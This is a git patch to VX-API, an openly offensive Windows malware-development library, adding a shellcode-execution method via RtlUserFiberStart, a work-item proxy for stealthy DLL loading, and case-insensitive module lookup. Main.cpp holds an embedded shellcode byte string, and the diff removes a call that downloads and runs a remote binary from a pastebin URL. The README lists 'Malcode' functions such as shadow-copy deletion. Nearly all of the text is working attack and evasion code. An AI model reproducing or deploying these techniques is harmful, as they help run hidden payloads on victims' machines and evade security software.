From d6ff84b546c190df31769cdefc95845f35ba26e9 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Mon, 5 Dec 2022 08:05:13 -0600
Subject: [PATCH] 2.0.420
2.0.420
---
README.md | 3 +-
VX-API/FunctionDeclaration.h | 3 ++
VX-API/GetModuleHandleEx2.cpp | 30 +++++++++++-
VX-API/Internal.h | 1 +
VX-API/Main.cpp | 14 ++----
VX-API/ProcessInjectFiberData.cpp | 46 -----------------
VX-API/ProxyWorkItemLoadLibrary.cpp | 49 +++++++++++++++++++
...llcodeExecutionViaFunctionCallbackMain.cpp | 24 +++++++++
VX-API/VX-API.vcxproj | 6 +++
VX-API/VX-API.vcxproj.filters | 18 +++++++
VX-API/Win32Helper.h | 5 +-
11 files changed, 140 insertions(+), 59 deletions(-)
delete mode 100644 VX-API/ProcessInjectFiberData.cpp
create mode 100644 VX-API/ProxyWorkItemLoadLibrary.cpp
diff --git a/README.md b/README.md
index 30c6238..645658e 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter]
# VX-API
-Version: 2.0.402
+Version: 2.0.420
Developer: smelly__vx
@@ -136,6 +136,7 @@ You're free to use this in any manner you please. You do not need to use this en
| GetRtlUserProcessParameters | ReactOS | Library Loading |
| GetTeb | ReactOS | Library Loading |
| RtlLoadPeHeaders | smelly__vx | Library Loading |
+| ProxyWorkItemLoadLibrary | Rad98, Peter Winter-Smith | Library Loading |
| MpfComModifyShortcutTarget | Unknown | Malcode |
| MpfComVssDeleteShadowVolumeBackups | am0nsec | Malcode |
| OleGetClipboardData | Microsoft | Malcode |
diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h
index 6f8c33f..1584aa2 100644
--- a/VX-API/FunctionDeclaration.h
+++ b/VX-API/FunctionDeclaration.h
@@ -26,6 +26,9 @@ typedef NTSTATUS(NTAPI* RTLIPV4STRINGTOADDRESSW)(PCWSTR, BOOL, LPCWSTR*, PIN_ADD
typedef NTSTATUS(NTAPI* RTLIPV4STRINGTOADDRESSA)(PCSTR, BOOL, LPCSTR*, PIN_ADDR);
typedef PWSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGW)(PIN_ADDR, PWSTR);
typedef PSTR(NTAPI* RTLIPV4ADDRESSTOSTRINGA)(PIN_ADDR, PSTR);
+typedef INT(NTAPI* RTLUSERFIBERSTART)(VOID);
+typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER);
+typedef NTSTATUS(NTAPI* RTLQUEUEWORKITEM)(PRTL_WORK_ITEM_ROUTINE, PVOID, ULONG);
diff --git a/VX-API/GetModuleHandleEx2.cpp b/VX-API/GetModuleHandleEx2.cpp
index 592660f..eeb834c 100644
--- a/VX-API/GetModuleHandleEx2.cpp
+++ b/VX-API/GetModuleHandleEx2.cpp
@@ -16,7 +16,21 @@ HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName)
{
ZeroMemoryEx(wDllName, sizeof(wDllName));
WCharStringToCharString(wDllName, Module->BaseDllName.Buffer, 64);
- if (StringCompareA(lpModuleName, wDllName) == 0)
+
+ CHAR InitialModuleName[256] = { 0 };
+ CHAR IdentifiedModuleName[256] = { 0 };
+
+ if (StringCopyA(InitialModuleName, (PCHAR)lpModuleName) == NULL)
+ return NULL;
+
+ if (StringCopyA(IdentifiedModuleName, wDllName) == NULL)
+ return NULL;
+
+ PCHAR ComparisonObject1 = CaplockStringA(InitialModuleName);
+ PCHAR ComparisonObject2 = CaplockStringA(IdentifiedModuleName);
+
+
+ if (StringCompareA(ComparisonObject1, ComparisonObject2) == 0)
return (HMODULE)Module->BaseAddress;
}
@@ -40,7 +54,19 @@ HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName)
Module = (PLDR_MODULE)((PBYTE)Next - 16);
if (Module->BaseDllName.Buffer != NULL)
{
- if (StringCompareW(lpModuleName, Module->BaseDllName.Buffer) == 0)
+ WCHAR InitialModuleName[256] = { 0 };
+ WCHAR IdentifiedModuleName[256] = { 0 };
+
+ if (StringCopyW(InitialModuleName, (PWCHAR)lpModuleName) == NULL)
+ return NULL;
+
+ if (StringCopyW(IdentifiedModuleName, Module->BaseDllName.Buffer) == NULL)
+ return NULL;
+
+ PWCHAR ComparisonObject1 = CaplockStringW(InitialModuleName);
+ PWCHAR ComparisonObject2 = CaplockStringW(IdentifiedModuleName);
+
+ if (StringCompareW(ComparisonObject1, ComparisonObject2) == 0)
return (HMODULE)Module->BaseAddress;
}
diff --git a/VX-API/Internal.h b/VX-API/Internal.h
index b804745..0d59434 100644
--- a/VX-API/Internal.h
+++ b/VX-API/Internal.h
@@ -1124,3 +1124,4 @@ typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION{
typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved);
+typedef DWORD(CALLBACK* PRTL_WORK_ITEM_ROUTINE)(LPVOID);
diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp
index 0cb5b67..f145922 100644
--- a/VX-API/Main.cpp
+++ b/VX-API/Main.cpp
@@ -30,20 +30,16 @@ int main(VOID)
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
- /*SHELLCODE_EXECUTION_INFORMATION Sei = { 0 };
+ SHELLCODE_EXECUTION_INFORMATION Sei = { 0 };
Sei.Payload = GlobalOpenCalcPayload;
Sei.dwLengthOfPayloadInBytes = 277;
- Sei.MethodEnum = E_DNSQUERYEX;
+ Sei.MethodEnum = E_RTLUSERFIBERSTART;
- ShellcodeExecutionViaFunctionCallbackMain(&Sei);
-
- */
-
- MpfLolExecuteRemoteBinaryByAppInstallerW((PWCHAR)L"https://pastebin.com/raw/tdyShwLw", 34);
-
-
//ShellcodeExecutionViaFunctionCallbackMain(&Sei);
+ HMODULE hMod = ProxyWorkItemLoadLibraryA("DBGHELP.DLL");
+
+
return dwError;
}
diff --git a/VX-API/ProcessInjectFiberData.cpp b/VX-API/ProcessInjectFiberData.cpp
deleted file mode 100644
index 38705fa..0000000
--- a/VX-API/ProcessInjectFiberData.cpp
+++ /dev/null
@@ -1,46 +0,0 @@
-#include "Win32Helper.h"
-
-typedef int(WINAPI* RtlUserFiberStart)();
-
-DWORD __revision_required_ProcessInjectFiberData(_In_ PCHAR Shellcode, _In_ DWORD Length)
-{
- NTSTATUS status;
- DWORD OldProt = 0;
-
- PTEB pTeb = GetTeb();
- PVOID pTebFlags = (PVOID)((UINT_PTR)pTeb + 0x17ee);
- *(PCHAR)pTebFlags = *(PCHAR)pTebFlags | 0x4;
-
-
- HMODULE hModule = GetModuleHandleA("ntdll.dll");
- RtlUserFiberStart pRtlUserFiberStart = (RtlUserFiberStart)GetProcAddress(hModule, "RtlUserFiberStart");
-
- LPVOID BufferAddress = VirtualAlloc(NULL,
- Length,
- MEM_COMMIT | MEM_RESERVE,
- PAGE_READWRITE);
-
- RtlCopyMemory(BufferAddress, Shellcode, Length);
-
- status = VirtualProtect(BufferAddress,
- Length,
- PAGE_EXECUTE_READ,
- &OldProt);
-
- if (status != 0)
- {
- UINT_PTR pFiberData = (UINT_PTR)HeapAlloc(GetProcessHeap(),
- HEAP_ZERO_MEMORY,
- 0x100);
-
- *(LPVOID*)(pFiberData + 0x0a8) = BufferAddress;
-
- __writegsqword(0x20, pFiberData);
- pRtlUserFiberStart();
-
- HeapFree(GetProcessHeap(), 0, (LPVOID)pFiberData);
- }
-
- VirtualFree(BufferAddress, Length, MEM_RELEASE);
- return 0;
-}
diff --git a/VX-API/ProxyWorkItemLoadLibrary.cpp b/VX-API/ProxyWorkItemLoadLibrary.cpp
new file mode 100644
index 0000000..4e902ef
--- /dev/null
+++ b/VX-API/ProxyWorkItemLoadLibrary.cpp
@@ -0,0 +1,49 @@
+#include "Win32Helper.h"
+
+HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName)
+{
+ NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL;
+ RTLQUEUEWORKITEM RtlQueueWorkItem = NULL;
+ NTSTATUS Status = STATUS_SUCCESS;
+ LARGE_INTEGER Timeout = { 0 };
+
+ NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject");
+ RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlQueueWorkItem");
+
+ if (!NtWaitForSingleObject || !RtlQueueWorkItem)
+ return NULL;
+
+ Status = RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryW, (PVOID)lpModuleName, WT_EXECUTEDEFAULT);
+ if (!NT_SUCCESS(Status))
+ return NULL;
+
+ Timeout.QuadPart = -500000;
+
+ NtWaitForSingleObject(InlineGetCurrentProcess, FALSE, &Timeout);
+
+ return GetModuleHandleEx2W(lpModuleName);
+}
+
+HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName)
+{
+ NTWAITFORSINGLEOBJECT NtWaitForSingleObject = NULL;
+ RTLQUEUEWORKITEM RtlQueueWorkItem = NULL;
+ NTSTATUS Status = STATUS_SUCCESS;
+ LARGE_INTEGER Timeout = { 0 };
+
+ NtWaitForSingleObject = (NTWAITFORSINGLEOBJECT)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "NtWaitForSingleObject");
+ RtlQueueWorkItem = (RTLQUEUEWORKITEM)GetProcAddressA((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), "RtlQueueWorkItem");
+
+ if (!NtWaitForSingleObject || !RtlQueueWorkItem)
+ return NULL;
+
+ Status = RtlQueueWorkItem((PRTL_WORK_ITEM_ROUTINE)&LoadLibraryA, (PVOID)lpModuleName, WT_EXECUTEDEFAULT);
+ if (!NT_SUCCESS(Status))
+ return NULL;
+
+ Timeout.QuadPart = -500000;
+
+ NtWaitForSingleObject(InlineGetCurrentProcess, FALSE, &Timeout);
+
+ return GetModuleHandleEx2A(lpModuleName);
+}
\ No newline at end of file
diff --git a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp
index b879a7b..54f1c4d 100644
--- a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp
+++ b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp
@@ -219,6 +219,30 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
}
+ case E_RTLUSERFIBERSTART:
+ {
+ RTLUSERFIBERSTART RtlUserFiberStart = NULL;
+ DWORD64 FiberData = NULL;
+ PTEB Teb = GetTeb();
+
+ RtlUserFiberStart = (RTLUSERFIBERSTART)GetProcAddressW((DWORD64)GetModuleHandleEx2W(L"ntdll.dll"), L"RtlUserFiberStart");
+ if (RtlUserFiberStart == NULL)
+ goto EXIT_ROUTINE;
+
+ Teb->SameTebFlags |= 0b100;
+
+ FiberData = (DWORD64)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, 0x100);
+ if (FiberData == NULL)
+ goto EXIT_ROUTINE;
+
+ *(LPVOID*)(FiberData + 0x0a8) = BinAddress;
+
+ __writegsqword(0x20, FiberData);
+
+ RtlUserFiberStart();
+
+ }
+
default:
goto EXIT_ROUTINE;
diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj
index f0298a9..94daf93 100644
--- a/VX-API/VX-API.vcxproj
+++ b/VX-API/VX-API.vcxproj
@@ -161,6 +161,7 @@
+
@@ -189,8 +190,10 @@
+
+
@@ -205,8 +208,10 @@
+
+
@@ -228,6 +233,7 @@
+
diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters
index 4f457e4..50daef9 100644
--- a/VX-API/VX-API.vcxproj.filters
+++ b/VX-API/VX-API.vcxproj.filters
@@ -459,6 +459,24 @@
Source Files\Windows API Helper Functions\Helper Functions
+
+ Source Files\Windows API Helper Functions\Cryptography Related\String Hashing
+
+
+ Source Files\Windows API Helper Functions\Cryptography Related\String Hashing
+
+
+ Source Files\Windows API Helper Functions\Library Loading
+
+
+ Source Files\Windows API Helper Functions\Library Loading
+
+
+ Source Files\Windows API Helper Functions\Helper Functions
+
+
+ Source Files\Windows API Helper Functions\Library Loading
+
diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h
index deffa22..87ab918 100644
--- a/VX-API/Win32Helper.h
+++ b/VX-API/Win32Helper.h
@@ -88,7 +88,8 @@ typedef enum SHELLCODE_EXECUTION_METHOD {
E_ENUMERATELOADEDMODULES, //30
E_ENUMPAGEFILESW, //31
E_ENUMPWRSCHEMES, //32
- E_DNSQUERYEX //33
+ E_DNSQUERYEX, //33
+ E_RTLUSERFIBERSTART //34 UNSTABLE, FAILS
}SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD;
typedef struct __SHELLCODE_EXECUTION_INFORMATION {
@@ -165,6 +166,8 @@ DWORD64 __stdcall GetProcAddressW(_In_ DWORD64 ModuleBase, _In_ LPCWSTR lpProcNa
BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* Nt, _Inout_ PIMAGE_FILE_HEADER* File, _Inout_ PIMAGE_OPTIONAL_HEADER* Optional, _Inout_ PBYTE* ImageBase);
HMODULE GetModuleHandleEx2A(_In_ LPCSTR lpModuleName);
HMODULE GetModuleHandleEx2W(_In_ LPCWSTR lpModuleName);
+HMODULE ProxyWorkItemLoadLibraryW(_In_ LPCWSTR lpModuleName);
+HMODULE ProxyWorkItemLoadLibraryA(_In_ LPCSTR lpModuleName);